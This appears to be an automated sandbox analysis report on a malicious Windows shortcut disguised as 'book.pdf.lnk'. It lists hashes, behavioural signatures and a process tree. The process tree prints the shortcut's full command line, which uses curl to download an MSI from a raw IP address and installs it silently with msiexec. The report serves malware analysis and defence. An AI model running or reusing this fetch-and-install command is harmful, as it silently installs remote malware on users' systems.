Resubmissions
24-08-2023 17:35
230824-v568qafh4y 323-08-2023 19:18
230823-xz2gdsfa82 323-08-2023 19:16
230823-xy925sfa76 321-08-2023 09:54
230821-lw62xscb47 1021-08-2023 00:59
230821-bb4qysaa78 10Analysis
-
max time kernel
27s -
max time network
18s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
23-08-2023 19:16
Static task
static1
Behavioral task
behavioral1
Sample
book.pdf.lnk
Resource
win7-20230712-en
windows7-x64
4 signatures
30 seconds
Behavioral task
behavioral2
Sample
book.pdf.lnk
Resource
win10v2004-20230703-en
windows10-2004-x64
3 signatures
30 seconds
General
-
Target
book.pdf.lnk
-
Size
1KB
-
MD5
0185e0fc2f505312001e1a65e6783908
-
SHA1
8e4cf0397ba32d233a515a5aca02751f6f9344c6
-
SHA256
8b3162141ac545fa0ae63777748973b8ee88bb8234a917d5fb3238d2c2ca963d
-
SHA512
1a484bb08401fd7476d37029fa753aa82af10aa702f30fa30568ff7eaf94b484e604bbff9f6b5a67179a7d708cf61bb767fa974e0a9f35e751d74d9a2dd4fefc
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
msiexec.exepid process 3032 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 3032 msiexec.exe Token: SeIncreaseQuotaPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 2860 msiexec.exe Token: SeTakeOwnershipPrivilege 2860 msiexec.exe Token: SeSecurityPrivilege 2860 msiexec.exe Token: SeCreateTokenPrivilege 3032 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3032 msiexec.exe Token: SeLockMemoryPrivilege 3032 msiexec.exe Token: SeIncreaseQuotaPrivilege 3032 msiexec.exe Token: SeMachineAccountPrivilege 3032 msiexec.exe Token: SeTcbPrivilege 3032 msiexec.exe Token: SeSecurityPrivilege 3032 msiexec.exe Token: SeTakeOwnershipPrivilege 3032 msiexec.exe Token: SeLoadDriverPrivilege 3032 msiexec.exe Token: SeSystemProfilePrivilege 3032 msiexec.exe Token: SeSystemtimePrivilege 3032 msiexec.exe Token: SeProfSingleProcessPrivilege 3032 msiexec.exe Token: SeIncBasePriorityPrivilege 3032 msiexec.exe Token: SeCreatePagefilePrivilege 3032 msiexec.exe Token: SeCreatePermanentPrivilege 3032 msiexec.exe Token: SeBackupPrivilege 3032 msiexec.exe Token: SeRestorePrivilege 3032 msiexec.exe Token: SeShutdownPrivilege 3032 msiexec.exe Token: SeDebugPrivilege 3032 msiexec.exe Token: SeAuditPrivilege 3032 msiexec.exe Token: SeSystemEnvironmentPrivilege 3032 msiexec.exe Token: SeChangeNotifyPrivilege 3032 msiexec.exe Token: SeRemoteShutdownPrivilege 3032 msiexec.exe Token: SeUndockPrivilege 3032 msiexec.exe Token: SeSyncAgentPrivilege 3032 msiexec.exe Token: SeEnableDelegationPrivilege 3032 msiexec.exe Token: SeManageVolumePrivilege 3032 msiexec.exe Token: SeImpersonatePrivilege 3032 msiexec.exe Token: SeCreateGlobalPrivilege 3032 msiexec.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 1080 wrote to memory of 2808 1080 cmd.exe cmd.exe PID 1080 wrote to memory of 2808 1080 cmd.exe cmd.exe PID 1080 wrote to memory of 2808 1080 cmd.exe cmd.exe PID 2808 wrote to memory of 3032 2808 cmd.exe msiexec.exe PID 2808 wrote to memory of 3032 2808 cmd.exe msiexec.exe PID 2808 wrote to memory of 3032 2808 cmd.exe msiexec.exe PID 2808 wrote to memory of 3032 2808 cmd.exe msiexec.exe PID 2808 wrote to memory of 3032 2808 cmd.exe msiexec.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\book.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c echo %cd% > C:\Users\Admin\AppData\Local\Temp\ruta.txt & echo eGz & echo zv & echo GMp & echo RC & curl -o C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi http://107.181.161.200:443/msiffbjzugu & msiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn2⤵
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\system32\msiexec.exemsiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
PID:3032
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2860